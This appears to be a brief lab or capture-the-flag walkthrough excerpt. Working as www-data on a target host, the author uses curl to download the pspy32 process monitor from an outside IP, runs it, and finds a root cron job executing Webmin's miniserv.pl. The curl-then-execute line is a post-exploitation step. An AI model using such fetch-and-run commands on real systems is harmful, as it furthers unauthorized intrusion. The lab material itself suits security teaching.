PSPY


A root cronjob process has been identified.

www-data@Vulnerable:/var/tmp$ curl -s http://10.9.1.194/pspy32 -o ./pspy32 ; chmod 755 ./pspy32

Delivery complete over HTTP

www-data@Vulnerable:/var/tmp$ ./pspy32
pspy - version: v1.2.1 - Commit SHA: f9e6a1590a4312b9faa093d8dc84e19567977a6d
 
 
     ██▓███    ██████  ██▓███ ▓██   ██▓
    ▓██░  ██▒▒██ ▓██░  ██▒▒██  ██▒
    ▓██░ ██▓▒░ ▓██▄   ▓██░ ██▓▒ ▒██ ██░
    ▒██▄█▓▒   ██▒▒██▄█▓▒ ▐██▓░
    ▒██▒  ░▒██████▒▒▒██▒ ██▒▓░
    ▒▓▒░  ░▒ ▒▓▒ ░▒▓▒░  ██▒▒▒ 
    ░▒ ░▒ ░░▒     ▓██ ░▒░ 
    ░░  ░░ ░░  
     
     

Executing PSPY

It keeps executing /usr/bin/perl /usr/share/webmin/miniserv.pl /etc/webmin/miniserv.conf